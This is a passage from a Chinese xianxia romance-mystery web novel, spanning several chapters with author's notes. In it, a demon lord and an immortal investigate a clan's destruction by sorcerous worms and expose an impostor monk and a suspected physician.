“木事蓝估计也是和了尘一样因为没人指导,乱研究,所以走火入魔,意外被胜心虫灭门了。” “八九不离十。” 蛊娘子抿了口茶肯定道。 燕黎舟听完重新靠回到洛不觉身上:“所以案子不就结了,不是妖怪干的。” 他拍了拍身后倚着的洛不觉:“可以交差了。” 说着燕黎舟起身:“你在这待着哈,我去跟我爸妈说一声,带你回去见他们。” 他这话一出,屋子里的两个人目光齐刷刷的看向他。 燕黎舟还以为这人怕他跑了,随口就许下了承诺。 “放心,咱俩都亲了,我不可能放你一个人的。” 洛不觉静静看着他,半天不发表意见。 燕黎舟也就当他同样了,转身要走,就听见身后淡淡传来一道声音。 “燕黎舟。” “干嘛。”燕黎舟下意识应道,说完才后知后觉,脚下步子一停。 蛊娘子不理解现在是什么个场景,在看见燕黎舟第一眼她就认出来了。 妖怪对气味都很敏感,尤其是阿哥的气息。 洛不觉将手里的茶杯放下,抬眸和僵硬着转过身来的燕黎舟对上视线。 “我饿了,你晚上要吃什么吗?” 燕黎舟:“……” 蛊娘子虽然不清楚具体发生了什么,但还是识趣地站起身。 啧,这种自家水灵灵的白菜被采走了的感觉真难受。 她瞥了一眼洛不觉,语气听不出情绪:“我去木府旧址再看看有没有遗漏的线索。” 房间里只剩下两人。 燕黎舟看着洛不觉,知道这下是瞒不住了。 他索性破罐子破摔,下巴一抬。 “哈哈,洛大仙尊,一百年不见,别来无恙啊?” 他嘴上说得硬气,眼神却不由自主地飘忽了一下,下意识地摸了摸自己的鼻子。 “你什么时候认出我来的。” 洛不觉:“在缘来居客栈。” 燕黎舟回想了一下:“……那不就是一开始。” 合着他跟猴子一样上蹿下跳的被看呢? 他有些烦躁地摆摆手,直接伸手将脸上的人皮面具扯了下来,漏出原本惊艳的五官。 “算了算了!反正现在案子也查得差不多了,跟咱们妖族没什么关系。你赶紧跟你们天上白云京那些老古板说清楚,别什么屎盆子都往我们头上扣。” 洛不觉嗯了一声,随即视线看向他,话题又忽然一转。 “那我何时同你回去?” 燕黎舟一愣:“什么回去?” 洛不觉追着提醒:“你刚刚说要带我回去。” “你是天上白云京的仙尊,跑去我们妖怪的底盘算怎么回事?你既然早认出我了,也该知道那都是我瞎编的!” 燕黎舟越说声音越小,带着点心虚。 “不过骗你是我不对……” 洛不觉闻言,眼帘微微垂下,浓密的睫毛在眼下投下一小片阴影,沉默不语。 他本就气质清冷,这般姿态,无端端显出几分落寞和委屈来。 燕黎舟看着他这副样子,心里莫名一抽,刚升起的那点理直气壮瞬间消散大半,甚至生出几分自己是个负心汉的错觉。 他张了张嘴,想说什么缓和一下气氛。 就在这时,洛不觉抬起眼,目光直直地看向他。 “君子一言,驷马难追。” “你都和我亲了,不能对我不负责。”洛不觉拿燕黎舟刚刚的话堵他。 燕黎舟被他这话噎住,下意识反驳:“我、我又不是君子,我说话最算不得数了!” 这话说得底气不足,连他自己都觉得像在耍无赖。 眼见着洛不觉就要张口说些什么燕黎舟不想听的话,这人眼疾手快的伸手捂住洛不觉的嘴巴。 燕黎舟轻咳一声,挤出来个笑:“案子虽看似明了,但尚有疑点。” 试图用案子把洛不觉这个人给掰回来,一百年不见,怎的男频里武力值爆表的金手指如今就变成这幅模样? “木事蓝从何处得到胜心虫,那个冒充乌索之人又是谁?” 燕黎舟连着抛出来两个问题,然后再洛不觉的注视下,继续开口。 洛不觉也顺身伸手握住燕黎舟的手腕。 燕黎舟一边说,一边暗暗用力想把手抽回来,未果。 洛不觉握着他的手腕,拇指无意识地在他腕骨内|侧轻轻揉|捏,带来一阵细微的痒意。 他目光依旧锁在燕黎舟脸上。 “嗯。” 燕黎舟画饼:“所以在查清之前我不会走,你也不要做些不好的事情。” 洛不觉忍住笑:“好。” 燕黎舟:“……” 这人嘴上应着好,拇指却仍在燕黎舟腕间那里皮肤上不轻不重地按着。 燕黎舟被他这阳奉阴违的动作弄得浑身不自在,耳根刚降下去的温度又有点回升的趋势。 他用力一挣,这次洛不觉倒是松开了手。 手腕获得自由,燕黎舟立刻后退一步,拉开一个自以为安全的距离。 “既然说定了,那就……说说下一步怎么办?” 燕黎舟清咳一声,换回燕黎舟的身份,他反倒觉得不自在,有种和兄弟搞基的感觉。 重新走到桌边坐下,给自己倒了杯凉茶降火。 “木事蓝的线索断了,乌索是个幌子,现在唯一的突破口,可能就是倒影浮屠遗址了。” 洛不觉他沉吟片刻,道:“了尘研究长生禁术多年,即便宗门覆灭,核心的研究手籍也可能被阵法保护留存下来。” “你之前说在倒影浮屠见到过,木事蓝接触到的书籍,很可能就是哪里流出来的。” “有道理。” 燕黎舟点头。 “而且,那个冒充乌索的人,既然能精准地利用胜心虫,说明他对了尘的研究成果非常了解,甚至可能就是了尘的旧部。” 这样说着,燕黎舟皱了皱眉头。 “可是倒影浮屠又只剩下薛铜一个人。” 洛不觉接话道:“薛铜身为宗主之子,对宗门旧事和其父的研究当真一无所知?” 这话点醒了燕黎舟。 他回想起在白洞天见到薛铜时的情景,那份平和与淡然确实无可挑剔,但如今细想,一个经历了宗门覆灭、父母双亡的人,真的能如此轻易地放下一切,心如止水吗? “你的意思是……薛铜可能并非表面看起来那么简单?他或许知道些什么,甚至……” 燕黎舟继续着猜测。 “未必就是他亲自所为。” 洛不觉分析道:“但他身处白洞天,了尘的遗物留存,他必然是最有可能的知情者或保管者。” “即便他本人不愿沾染,也难保不会有他人通过他,或者利用他对遗址的熟悉,接触到那些东西。”—— 作者有话说:洛不觉:在不说老婆都要跑了 作者有话说: 真的要完结了,哈哈哈哈哈,我已经写到最后那点点了,我还欠着你们一章呢[闭嘴]到时候结局一起发呢还是在揭晓谜团的时候发,让我找个合适的时间,尽量不在剧情那里卡着 估计没有个两三天(?)就能结束了。 大家有木有想要看的番外鸭~ 上章作者有话说忘记说了,我们盐粒子就是最争气的小草[撒花][撒花][撒花][加油][加油][加油] 第100章 燕黎舟蹙眉, 手指敲击桌面的速度加快了些。 “我去让黑金仔细查查,倒影浮屠遗址近期有没有异常,或者薛铜在白洞天是否与什么可疑之人接触过。” 只是燕黎舟刚准备联系黑金, 动作却是一顿, 抬眼看向洛不觉。 毕竟刚被戳穿身份, 此刻在对方面前动用妖族手段, 感觉有些微妙。 洛不觉仿佛没注意到他的迟疑, 神色如常地接话。 “我亦会传讯宗门,调阅所有关于倒影浮屠覆灭后, 其遗址及遗留物品流向。” “好。” 燕黎舟点了点头, 也不再犹豫,指尖掐诀,一缕极淡的绿色妖力从指尖萦绕而出, 悄无声息地没入地面。 做完一切后,燕黎舟转身。 “既然如此,我们明日是否再去一趟白洞天,或者直接去倒影浮屠?” 洛不觉抬眸看他, 没有立刻回答, 而是反问道:“你认为, 薛铜会知道多少?” 燕黎舟被他问得一怔,随即摸着下巴思索。 “那小子看起来对他爹的事讳莫如深,而且一直在白洞天清修,估计知道的内情有限。问他, 或许能有些线索,但指望他全盘托出,恐怕难。” “嗯。” 洛不觉颔首,表示同意他的判断:“白洞天可去, 但不必抱太大期望。” 洛不觉抬眸,视线平静地落在他身上,语气理所当然:“你和我一起,不要兵分两路。” 燕黎舟忍不住刺了一句:“洛仙尊,我现在可不是那个喜欢你的游子安。” 洛不觉反问:“燕黎舟就不喜欢我了吗?” 这话问得太过直接,燕黎舟忍不住眨了一下眼睛,干巴的扯了一下嘴角。 燕黎舟:“那你喜欢我吗?” 洛不觉:“喜欢。” “你是从什么时候喜欢上我的?” 燕黎舟虽然是疑问,但语气中也没有多想知道这个答案。 之前仗着游子安的身份为非作歹,差点真的以为自己能一直乱闹下去。 他的声音很轻,不等洛不觉说他就又开口。 “我现在比不上从前……” “我变了好多,我不是你喜欢的那个模样了,就算在一起,也没有办法回到过去。” 洛不觉却打断他,斩钉截铁:“我喜欢燕黎舟。” “……” 燕黎舟张了张嘴,最终还是闭上,别开脸。 轻哼道:“我已经提前说好了的,是你非要缠着我的。” 说完,他不再看洛不觉,转身就朝房门走去,脚步有些快,背影狼狈。 洛不觉没有阻拦,只是静静地看着他的背影消失在门后。 他了解燕黎舟,如他所说,百年光阴,改变了太多,他需要给这只习惯性缩回壳里的小东西一点时间。 让他自己慢慢探出头来。 另一边燕黎舟回房后,躺在陌生的床榻上,瞪着帐顶,脑子里乱糟糟的,让他心烦意乱。 燕黎舟猛地翻了个身,用被子蒙住头,半响过后又浅浅露出一个脑袋。 而隔壁房间,洛不觉只是静坐在窗边,望着窗外沉沉的夜色,不知在想些什么。 晨光熹微。 燕黎舟醒来时,有片刻的恍惚。 陌生的床铺,空气中还残留着客栈特有的淡淡熏香。 他猛地坐起身,利落地起身洗漱,看着铜镜中那张属于他自己的脸和五官。 今天不用再去带那什么人皮面具,燕黎舟伸手摸了一下脸。 “啧。” 燕黎舟推开房门,恰好隔壁的房门也同时打开。 洛不觉站在门口,依旧是那身纤尘不染的白衣,神情清冷,仿佛昨夜什么也未曾发生。 他目光平静地落在燕黎舟身上,自然地开口:“早。” 燕黎舟抿唇:“嗯。” 两人并肩走下楼梯,来到客栈一楼用早膳。 这会儿已有零星几个早起的客人。 店小二热情地迎上来,洛不觉点了几样清淡的早点。 就在这时黑金突然出现在燕黎舟旁边,旁边的人们也都见过修仙的人的通天法术,对于这样对场景也只是看了一眼就收回视线。 黑金看着他家主人脸上没有装饰的脸,虽然不解怎么又不装了,但是还是侧身凑到燕黎舟耳边轻声道。 洛不觉将小二上的几道点心推到燕黎舟面前,抬头就看着燕黎舟的眉头蹙紧,好久不见的面容一举一动都熟悉极了。 洛不觉忍不住弯了下唇角。 随后黑金离开后,燕黎舟只吃了两口就拉着洛不觉上了门口的马车。 进了马车,燕黎舟才开口:“黑金查出来木家和倒影浮屠往年前有些不雅勾当。” 洛不觉道:“倒影浮屠帮木家在风京站稳脚跟,木家给倒影浮屠金钱。” 燕黎舟轻轻歪头看向身旁这人,有些惊讶:“你知道?” 洛不觉又拿出来一碟子点心:“今早天上白云京的人传来的消息。” 燕黎舟没去碰那碟点心,而是顺着洛不觉的话追问:“既然早有勾结,那木事蓝能得知胜心虫能长生就不奇怪了。” “那这样看来木家的灭门可能就不是简单的意外了。” 洛不觉颔首,将点心碟子又往他那边推了推。 “所以这幕后之人与倒影浮屠和木家都有纠葛,很大可能就是影巫的遗留。” 燕黎舟顺手从碟子里拈起一块小巧的桂花糕,送进了嘴里。 甜糯的口感在舌尖化开,他动作一顿,咀嚼的速度慢了下来,瞟了一眼身旁正襟危坐的某人,又塞嘴里一块。 洛不觉:“我已通知掌门师兄他们速来白洞天,那人手里可能还有胜心虫,到时候一定要小心。” “嗯。” 燕黎舟咽下口中的糕点,应了一声,声音比刚才缓和了些许。 他拍了拍手上的碎屑,洛不觉紧接着递过来一块手帕,燕黎舟接过手帕随意的揉了揉指尖。 “通知他们也好,到时候也正好说清楚,这木府灭门一事和我们妖怪没有关系。” 燕黎舟还记得他为什么来这里查一个木府的案子,不过就是他们什么事都往妖怪头上泼脏水。 如果真的是妖怪干的,燕黎舟自然会把那妖怪五花大绑交出去,可现在不是,那他们也别想往他们头上栽赃一点。 燕黎舟将用过的帕子攥在手里,没还回去,目光重新投向窗外。 忽然,马车突然停下,黑金拉住马。 “怎么了?” 洛不觉掀开帘子,就见马车前,蛊娘子抱着胸站在前面。 蛊娘子眯了眯眼睛,肩膀上蹲着的小青昂着头,八只眼睛面色不善的盯着掀开车帘的洛不觉。 老娘就一会儿不见,你就把人拐走了? 洛不觉:“……” 燕黎舟探头:“发生什么了?” …… 没过一会儿,马车就又咕噜噜的继续前进,只是这次车上多了一个人 蛊娘子坐在燕黎舟旁边,对着洛不觉一点好脸色也没。 蛊娘子:“我去木府转了一圈,发现那木家有桑草的气味,这是饲养胜心虫最普遍的食物。” “只是我想不通,饲养胜心虫需要影巫一族的血脉。” 她话锋一转,眉头紧锁:“我方才已用秘法联系族内确认过,他们否认与此事有关。” “影巫一脉虽然偏执,利己不爱人,但在这种原则性问题上从不屑于撒谎。而且他们的据点离此极其遥远,近期也并无族人外出活动的迹象。” 洛不觉:“没有其他可能?” 蛊娘子白了洛不觉一眼:“胜心虫为影巫一族圣虫,只能靠影巫血脉的能力催动饲养的蛊虫,其他人根本办不到。” 燕黎舟垂下眼睛:“其实还是有一个人可以做到的。” 蛊娘子:“谁?” 洛不觉也想到了:“薛铜。” 燕黎舟立刻扬声道:“黑金!改道,去白洞天!” 黑金:“是。” “薛铜?” 蛊娘子先是一愣,随即有些恍然。 “了尘和边念文的那个儿子,确实……他体内流着一半影巫圣女的血。” 三人来到白洞天立刻朝后山过去。 再次抵达白洞天,依旧是之前那副祥和景象。 他们并未惊动清明大师,径直去了后山。 薛铜依旧在菜园里忙碌着,依旧是那身粗布僧衣,正挽着袖子,见到去而复返的燕黎舟和洛不觉,脸上闪过一丝讶异。 薛铜放下锄头,双手合十,眉宇平和。 “两位施主可是还有疑问?” 燕黎舟没绕圈子:“薛铜大师,我们查到木府灭门与胜心虫有关。而饲养胜心虫,需影巫血脉。” 他紧紧盯着薛铜的表情:“据我们所知,令堂边念文,正是影巫一脉的圣女。” 薛铜闻言,脸上露出一丝恰到好处的惊讶,随即又是了然。 “贫僧早已脱离尘俗,父亲之事,知之甚少。至于胜心虫,更是闻所未闻。” “哦?闻所未闻?”燕黎舟挑眉,凑近了些,几乎要贴上薛铜的脸。 下一秒,洛不觉就伸手将燕黎舟拉开。 薛铜也下意识地后退半步,眉头微蹙:“施主请自重。 他轻轻叹息一声:“贫僧虽知母亲出身南疆,却从小丧母,其中多少不太清楚。” 然而,就在他话音落下的瞬间,一直安静站在燕黎舟身侧的蛊娘子,肩头的小青突然躁动起来,八只眼睛死死盯住薛铜。 几只毛茸茸的腿不安的在蛊娘子肩膀上跺着。 蛊娘子突然上前一步,指尖不知何时捏住一根针。 她不等众人反应,银针一端直直朝着薛铜手腕刺过去! 薛铜似乎没想到她会突然出手,下意识地想缩手,但蛊娘子的动作太快,银针已然刺破了他腕间皮肤,渗出一滴鲜红的血珠。 “你做什么!” 薛铜惊怒交加。 蛊娘子却根本不理会他,她收回银针,将那银针置于鼻尖轻轻一嗅,又将它往小青身边凑了凑。 小青偏头,整个身子都扭了个弯朝向洛不觉的方向。 见状,蛊娘子的脸彻底沉了下来。 燕黎舟不解:“怎么了?” 洛不觉也抬眼看着蛊娘子。 蛊娘子上前一步,伸手握住薛铜的手腕,将对方受伤的手拉进了些。 薛铜震惊,使劲想要挣开,却发现这女人的力气大的吓人。 紧接着就听见这女人道。 “你不是薛铜,你身上根本没有影巫血脉一族的气息。”—— 作者有话说:最近忙的过头了,昨天只睡了三个小时,今晚还不知道几点能睡(好困呐π_π) 估计后面两章就把这个案子交代清楚了,最后结局收尾我还没有定好(一团头麻[问号]) 番外也没有灵感,也不知道什么样子的场景结局配得上我们盐粒子和萝卜饺[求你了][求你了] 让我想想吧,让我想想吧……好困[化了] 100-103 第101章 蛊娘子好像已经将薛铜从里到外看穿了。 “边念文是我主人旧友, 小青对于影巫血脉会上瘾,如今如此嫌弃……你绝不是薛铜!” “真正的薛铜去哪了!” 此言一出,燕黎舟和洛不觉俱是一惊, 接着皱眉。 这个薛铜是假的? 那真正的薛铜在哪里, 这个假扮薛铜的人又是谁? 被蛊娘子当场揭穿, 假薛铜脸上的平静终于维持不住, 闪过一丝慌乱, 但他仍强自镇定。 “女施主莫要胡言,贫僧……” “闭嘴吧你!” 燕黎舟不耐烦地打断他, 混不吝的痞气里带着压迫感。 这些年统治春城, 燕黎舟板起脸来气势强了许多,这会儿完全放出来,竟是让那个假薛铜有些腿软下意识就要跪下去。 “小爷我没空听你在这儿念经装相!说!你是谁?真正的薛铜在哪儿, 木府的事跟你有没有关系?” 他一边说,一边活动了一下手腕,大有一言不合就要动手的架势。 洛不觉虽未言语,但周身散发的灵压也将薛铜笼罩住, 如山如岳, 好似他只要有什么动作下一秒就会把他抹杀。 假薛铜在两人强大的气势压迫下, 脸色发白,额头上冷汗涔涔。 他知道再也瞒不住了,嘴唇哆嗦着,终于崩溃道:“我……我说!” “我就是收了钱的, 那人就告诉额在这里种菜浇花就行,有人问起就说脱离世俗事事不知。” 这人越说看着燕黎舟的脸色声音越小,最后几乎带了哭腔。 “都是那人说什么小人就做什么啊。” “我、我就是个种地的散修,修为低微, 一百年前路过这里,发现这地方灵气还行就住下了。” “那个人找到我给了我一笔灵石,让我扮成这和尚的模样。我、我真不知道什么胜心虫,什么木府啊!” 燕黎舟与洛不觉快速交换了一个眼神。看来,这个假薛铜只是个无足轻重被利用的小角色。 “那人长什么样子?”洛不觉声音冰冷问。 假薛铜吓得一哆嗦,连连摆手摇头。 “不、不知道!他修为很高,神出鬼没,每次来都遮着脸,我根本看不清!他、他上次来还是好几个月前了……” 燕黎舟烦躁地啧了一声,不死心地追问。 “一点特征都没有?身高?胖瘦?说话口音?或者……他身上有没有什么特别的味道?” 他紧紧盯着假薛铜。 假薛铜被他这么一说,也想起来了。 “噢噢,他身上有一股很腥的草味,很怪的味道……” 他皱眉回想着:“但这味道很淡,我第一次以为是药味,但我鼻子比较灵,我妈从小就……” “咳!” 见话题越说越偏,燕黎舟不耐的啧了一声。 假薛铜很有眼力见,立马乖乖闭上嘴。 蛊娘子眼神一眯。 “腥草气,估计就是桑草气味,看来这家伙摆弄那些玩意儿也没少遭罪。” 燕黎舟看向瘫软在地的假薛铜,知道从他身上再也榨不出更多有用的信息了。 他挥了挥手,对黑金示意:“把他带下去,看起来,别让他跑了也别让他死了。” 黑金无声出现,如同拎小鸡一样将哭嚎着的假薛铜提走了。 后山只剩下三人。 燕黎舟揉了揉眉心,语气带着一丝不易察觉的烦躁。 忙活半天,抓到的又是个无足轻重的虾米。 蛊娘子抱着胳膊,肩头的小青也显得有些无精打采。 一直沉默的洛不觉忽然开口:“此地不宜久留。对方既然在此布置了眼线,我们现在恐怕已经打草惊蛇。” “那现在怎么办?” 燕黎舟看向他:“回风京?还是直接去倒影浮屠?” 就在三人沉吟下一步行动时,一个带着几分慵懒和戏谑的声音,突兀地响起。 “哟呦呦,谁啊在这儿愁眉苦脸的?遇到麻烦事了?” 三人循声望去,只见一个身着绛紫色长袍的男子,笑吟吟地看着他们,手里甚至装装的拿了个折扇摇啊摇的。 身后的清明大师见他们看过来颔首行礼。 公羊胜眼尾微微上挑,带着几分风流。 “公羊胜?” 燕黎舟有些惊讶:“你这家伙,怎么跑这儿来了?” 洛不觉也微微颔首,蛊娘子挑了挑眉,打量了公羊胜一番,没说话。 公羊胜慢悠悠地踱步过来,目光在燕黎舟和洛不觉之间转了转。 然后伸手拨了拨额前的碎发。 “我和薛三钱那老贼一起的,这不他接了个治病救人的活计,那家主人非得说什么求签保佑后才给钱。” “我这才跟着一起过来了。” 薛三钱看见蛊娘子,僵硬的扯了扯嘴角。 “你们……怎么在一起?” 他不是燕黎舟,有些细节他都不知道,所以看见蛊娘子还是有些别的心情在里面。 蛊娘子没说话,盯着薛三钱眉头一蹙,伸手直接将人拽到自己面前。 清明大师反应极快闭上眼睛,手里念珠拨的飞快。 “阿弥陀佛阿弥陀佛……” 燕黎舟和洛不觉也是微微惊讶,看着面前一副场景。 公羊胜胡乱挥着自己手臂,扇子轻轻敲了敲姑娘子揪着他领子的胳膊:“哎哎哎哎!男女授受不亲!” 蛊娘子却没顾及他说的什么,只是问:“你身上为什么有桑草的味道?” 肩膀上的小青也顺势蹦跶到公羊胜的脑袋上,乱踩一通。 公羊胜:“什么桑草,那是什么东西?” “哎哎哎,什么东西,把我头发弄乱了!” 蛊娘子却不理会公羊胜的辩解,凑近他颈侧又仔细嗅了嗅,语气笃定。 “不会错!就是桑草那股子气息,虽然很淡,但绝对是!” “说!你最近接触过什么奇怪的东西或者人?” 燕黎舟上前一步,与洛不觉一左一右隐隐形成合围之势,他扯了扯嘴角,露出一个没什么温度的笑容。 公羊胜被几人围住,一脸无辜加茫然,双手高举作投降状。 “人?那可多了去了,客栈的小二、路上撞到的行人、官府查文书的、还有这白洞天的扫地僧……你们说谁啊?” 他眼珠转了转,看向脸色凝重的几人,终于后知后觉地意识到事情不简单。 “等等……你们这架势,是出什么大事了?跟那什么桑草有关吗?” 燕黎舟看他这副不着调的样子,没好气地哼了一声,言简意赅地将木府灭门、胜心虫、影巫传承以及假薛铜的事情快速说了一遍。 公羊胜听得目瞪口呆,手里的折扇都合上了。 “我的乖乖……长生?灭门?胜心虫?这都什么跟什么啊?比茶馆里说书先生讲的故事还离谱!” 他拍了拍胸口,一副受到惊讶需要缓缓的表情。 蛊娘子蹙眉盯着他。 “你真的一点印象都没有?仔细想想,最近有没有接触过什么特别的人,或者碰过什么奇怪的东西?尤其是带着腥草气味的!” 公羊胜苦着脸,努力回想,最后还是摇了摇头。 “真没有!我公羊胜虽然爱凑热闹,但惜命得很,那种听起来就邪门的东西,我躲还来不及呢!” 他忽然想到什么,眼睛一亮,转身就朝后面喊道。 “薛三钱!薛三钱!你个老贼快过来!你医术好,鼻子也灵,快来闻闻我身上到底有没有那什么草味!” “再看看他们说的这事儿你到底知不知道点什么!” 他一边喊,一边小跑着去找落在后面的薛三钱,直接把领路的清明大师晾在了一边。 清明大师倒也不恼,只是微微摇头,对着燕黎舟等人再次合十一礼,语气平和。 “阿弥陀佛。诸位施主,此处非议事之地,若不嫌弃,请随老衲移步禅房吧。” 燕黎舟点了点头,一边跟着清明大师往前走,一边顺势问道:“大师,您常年居于白洞天,与那薛铜也算毗邻而居,难道从未察觉他有异样?” 清明大师步伐沉稳,闻言轻轻叹了口气:“白洞天自百年前遭魔族重创,元气大伤,门人弟子皆潜心静修,以求恢复。” “况且我等遵循祖训,不涉外事。薛铜施主既选择在后山清修,贫僧等便予他清净,又岂会无端探究其真假虚实?” 一行人随着清明大师来到一间清幽的禅房。 蛊娘子坐在座位上,小青跟着公羊胜一同去喊薛三钱去了。 “薛三钱……”蛊娘子轻声,好看的眉头微微蹙紧。 “我有点印象,那个大夫,说起来,那了尘的医术也是不错的。” 燕黎舟和洛不觉闻言,都看向她。 燕黎舟忽然问:“边念文当年是怎么喜欢上了尘的?” 这事儿在当年不是个秘密,甚至闹到家喻户晓的。 蛊娘子嘴角勾起一抹似笑非笑的弧度,带着点说不清是嘲讽还是惋惜的意味。 “那年,边念文意外摔下山崖,受了伤,狼狈得很,运气好,遇上了采药的了尘。” 她顿了顿,仿佛眼前浮现出当年的场景。 “当年我还跟着主人,主人也没遇到那负心汉的男人……” “了尘那和尚,看着冷心冷情,一副拒人千里的模样,却偏偏精通医术,心也软。” “他救了边念文,悉心照料着。” 蛊娘子语气带着一丝唏嘘。 “在那与世隔绝的山谷里,日夜相对,这情愫,想不生都难。” 燕黎舟听得入神,忍不住插嘴:“所以……是了尘治好了边念文的伤,然后两人就好上了?” 蛊娘子瞥了他一眼。 “边念文是影巫圣女,血脉特殊,极难痊愈,不回影巫族伤势不是一般就能痊愈的了的。” “主人几次劝说她回去她都说在等几天。” “了尘不知道这些,也不知道她是影巫血脉,为了救她,翻阅了大量医学典籍,耗费了无数心血。” “边念文看他为自己如此劳心劳力,一颗心就陷进去了。” 蛊娘子说着看了眼一旁当雕塑的清明大师,顿了一下,还是道。 “后来背叛影巫,与那人双宿双飞,了尘也因此被逐出的白洞天,自立门户,创立倒影浮屠。” 她似乎想起了什么,轻嗤一声好似在感叹他们伟大的爱情。 “我曾随主人去过一次倒影浮屠,那里戒备森严,被好几个大阵看着。” “据边念文提过,其守护大阵与宗主相连,若无宗主亲自授意,外人绝难踏入半步。” “我当时还想,这和尚对自己道侣倒是放心,将身家性命都交托了,可惜边念文也只享了那几年幸福。”—— 作者有话说:我再补明天的两章,今天一个小时盯着发呆,要结束我开始走马灯了 这个案子最后两章的结尾我尽量明天二更放出来,补一下六号的那章。 谢谢陪伴到现在的大家,这个案子结尾也就两三章把前面所有坑收一下就没有了! 最后,番外番外番外,大家想看什么鸭? 第102章 燕黎舟反复咀嚼着这句话, 脸色一沉,转头看向旁边的洛不觉。 “你有没有觉得,我们之前进入倒影浮屠遗址……” “是不是太过顺利了?” 他这么一说, 蛊娘子也转过头, 她不知道当时发生了什么, 只是听燕黎舟说他们在倒影浮屠看到过有关长生的秘诀。 现在想来, 了尘要学习蛊术必然是让外人不能轻易发现了的, 可燕黎舟刚进入倒影浮屠就进入了那处充满了尸体和秘籍的房间。 一个大宗,即便过了百年, 其守护措施又怎会如此形同虚设。 除非…… 有人为他们打开了门, 有人故意引导他看到了那些关于长生的秘籍! “薛三钱!”燕黎舟皱眉出声。 那日倒影浮屠,燕黎舟同他一起,所有的线索都是他引导着他们发现的。 “你想说他是那个人。” 洛不觉的声音压的很低。 燕黎舟接着洛不觉的话:“胜心虫, 与木事蓝交易的乌索,甚至木家的灭门……都可能与他脱不了干系。 就在此时,公羊胜拉着满脸不耐烦的薛三钱,吵吵嚷嚷地跨了进来。 “快点快点, 你快点, 慢死了, 腿长那么长走起路来像是被砍了一半似的……” 公羊胜的话没说完转头看见屋子里的几人无一不是面色严肃,几乎是瞬间所有视线都看过来,话也就断在半空。 公羊胜:“怎,怎么了?” 他有些不解。 燕黎舟面无表情, 看着薛三钱轻声开口:“薛大夫,你就是薛铜对吧。” 公羊胜:“???” 这话一出,不仅是薛三钱,连着把薛三钱拉过来的公羊胜和燕黎舟旁边的洛不觉等人都看向说话的燕黎舟。 “你开玩笑嘞吗?薛、三、钱, 哪里的什么薛铜,还是说你背着我有别的名字?” 公羊胜玩笑着道,偏过头去看薛三钱。 “真的吗。” “……呵。” 薛三钱缓缓抬起眸,目光在在场之人脸上扫过一圈,轻挑了一下眉头,像是在嘲笑。 燕黎舟盯着薛三钱:“我早该想到的,你与那薛铜有那么多相似的地方。” 薛三钱轻笑着开口讽刺:“想差了吧,我可不认识什么薛铜。” 他说完转头看向公羊胜,抱胸:“这几天忙的不得了,为了得些个银子跟着雇主到处跑,眼见着要拿到银子了,又把我拉过来怀疑我是那个什么薛铜。” 薛铜啧了一声,脸上明显的不耐:“不说我们这一百多年的交情,念着之前白嫖我,帮着你们一起除魔,这时候也该心疼心疼我吧。” “刚见面就说什么薛铜什么的。” 说着薛三钱视线看向洛不觉,又看看站他旁边的燕黎舟,轻扬了一下下巴。 “怎么,洛仙长和你那个游公子分开,又啃上旧相好了?” 蛊娘子眯了眯眼,旁边清明大师垂眸抬手道。 “阿弥陀佛。” 他这话一出,薛三钱就看向他:“清明大师,白洞天不是向来都不掺和外界,这次怎的破例了。” “还有这位姑娘,南疆来的?也愿意掺和这档子晦气事。” 薛三钱这张嘴真的是利落,刚见面时他就是这样一个人,这会儿一张嘴把在场的人都刺了个遍。 燕黎舟自动忽略薛三钱的话。 也就是这时,只见以沈齐为首的几个宗门的掌门、长老身影齐齐出现在禅房之外。 显然是之前接到洛不觉的消息后匆忙赶来。 四大宗门这会儿只来了天上白云京,在白洞天的地盘,其余两个,十二楼兰被屠干净了,倒影浮屠被烧干净了。 “师弟。”沈齐率先开口道。 沈齐同样看到燕黎舟,顿了一下,点头算作招呼。 薛三钱一看这么多人围攻,脾气像是也顶上来了,皮笑肉不笑看着众人,眼睛微眯,像是下一秒一个白眼就翻出来了。 沈齐他们接到消息是薛铜,这会儿屋子里这几个人也没看见薛铜,反倒是围着薛三钱。 之前在攻打谢灯之时沈齐与这薛三钱有过几面,也知道是位江湖神医。 洛不觉和他们简单解释了一下现在的情况,旁边薛三钱听着忍不住翻白眼。洛不觉说一句他翻一眼,在听到蛊娘子说的了尘和边念文的那些个什么酸甜爱情的时候白眼翻的更甚。 燕黎舟见他这幅模样。 “木府的人,是你杀的。那个冒充的乌索,也是你。胜心虫,也是你给木事蓝的。对吗?” 薛三钱忍住不去翻燕黎舟白眼,双手环胸,他与这些人对着面,身边也就只有公羊胜一个人。 “说什么煞|笔话呢,你张张嘴我就是凶手了?” 燕黎舟无所谓他的话,直接开口:“你害怕虫子,对吧。” 薛三钱顿了一下,旁边公羊胜忍不住插嘴:“你怎么知道?” 半响又疑惑:“就算是,这跟你说他是薛铜有什么关系。” 之前那个假薛铜说过他怕虫子,那肯定是幕后那人怕身份拆穿告诉的,燕黎舟想起他们刚见面时,薛三钱的行为。 当时只觉得这人是医者仁心,觉得那手法残忍,厌恶。 燕黎舟继续道:“倒影浮屠的那个秘书,是你要我看见的吧,秘室里的那具六指的尸体,就是边念文吧。” 薛三钱:“……” 他轻哼着挑眉,双手环胸,像是在听燕黎舟还能说出来什么荒唐话,但听到燕黎舟说六指尸体的时候表情才有一瞬不对劲。 燕黎舟吐出一口气:“我也原先也只是猜测,不过现在看来,我猜对了。” 公羊胜心头有点慌,被他们这样打谜语的对话弄得有些烦,他直接伸手拽住薛三钱的衣服。 “你干嘛不说话!” 公羊胜皱眉,他知道草精这人不会轻易怀疑人,但也不信薛三钱会是那个什么薛铜。 他在那秘境里待了那么多年,出来后没享多久的清闲日子,宗门就被魔头给灭了门,他也就只剩下草精和薛三钱这两个朋友,把那满眼只有草精的洛不觉算上也才三个。 薛三钱瞥了眼公羊胜,依着言开口:“哦?” 说完又看了公羊胜一眼:说了。 公羊胜攥着薛三钱衣服的手指紧了紧。 薛三钱看模样不急不慢,似乎他们说的人不是他一般,被怀疑的也不是他,只有这会儿被公羊胜骂了句后开口才让人发觉他们在批判的是他。 薛三钱:“证据呢?” 薛三钱又补了一句,无他,公羊胜这人掐到他胳膊肉了。 沈齐和其他掌门听得直皱眉,但谁也没开口打断。 燕黎舟伸手勾住洛不觉的手指,指甲摩擦在一起,下巴一抬,后者心有灵犀般动了动。 洛不觉倒了杯茶端给燕黎舟。 燕黎舟:“谢谢。” 其他人:“……?” 刚好口干的燕黎舟润了下嗓子,感觉舒服多了,指尖把玩着洛不觉递过来的茶杯,继续道。 “我猜,边念文的死不只是因为她愿意为了了尘,更是了尘强迫的吧。” 